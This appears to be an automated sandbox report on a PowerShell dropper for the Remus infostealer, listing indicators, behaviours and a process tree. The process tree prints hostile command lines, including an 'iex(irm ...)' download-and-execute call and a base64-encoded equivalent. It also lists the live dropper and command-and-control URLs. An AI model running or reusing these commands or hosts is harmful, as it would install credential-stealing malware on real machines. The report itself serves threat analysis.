Analysis
- user interaction
yes - max time kernel
149s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 12:27
General
- Target code.ps1
- Size 78B
- Sample260727-pm674sswft
- SHA256 197659a7b09c1580b3b5da1edd4e8adf53e5d0b9150809f286fda12fc7796bde
Malware Config
Extracted
-
ps1
-
exe.dropper
https://fafaplaplapla.com/tZxkX4suuafbNRVd
Extracted
-
remus_stealer
-
http://strmer.top:5292
-
http://zelpx.garden:9895
-
http://fimmora.surf:6504
Signatures
- Family: Remus
Remus is a stealer written in C++.
- Detects Remus stealer 1 IoCs
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Drops file in Windows directory 12 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(irm 'fafaplaplapla.com/njwpCnrx1SbWmJtw' -UseBasicParsing)"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFcAcgBpAHQAZQBJAG4AdAAzADIAKAAoAEcAZQB0AC0AUABTAEQAcgBpAHYAZQApAC4ARwBlAHQAXwBQAHIAbwB2AGkAZABlAHIAKAApAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACwAMAApADsAIAAkAHUAPQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAZgBhAHAAbABhAHAAbABhAHAAbABhAC4AYwBvAG0ALwB0AFoAeABrAFgANABzAHUAdQBhAGYAYgBOAFIAVgBkACcAOwAgAGkAZQB4ACgAaQByAG0AIAAkAHUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkA3⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Users\Public\Installers.msi /qn /norestart MSIINSTALLPERUSER=1 TARGETDIR=C:\Users\Admin\AppData\Local\Installers4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Programs\Microsoft\MicrosoftEdge.exe"C:\Users\Admin\AppData\Local\Programs\Microsoft\MicrosoftEdge.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
e597b92.rbs
StartupProfileData-NonInteractive
__PSScriptPolicyTest_p0uyobpg.dkl.ps1
Installers.msi
memory/1156-18-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-21-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-22-0x000001DDE4370000-0x000001DDE4532000-memory.dmp
memory/1156-24-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-20-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-19-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-12-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-15-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-16-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1156-17-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/1688-55-0x0000000140000000-0x000000014003A000-memory.dmp
memory/1688-79-0x0000000140000000-0x000000014003A000-memory.dmp
memory/2868-5-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-30-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-9-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-8-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-25-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-6-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-0-0x00007FF8C7C6F000-0x00007FF8C7C70000-memory.dmp
memory/2868-7-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-11-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-10-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/2868-4-0x000001A053E50000-0x000001A053E72000-memory.dmp
memory/2868-1-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5544-33-0x000002006D360000-0x000002006D37E000-memory.dmp
memory/5544-32-0x000002006D3C0000-0x000002006D436000-memory.dmp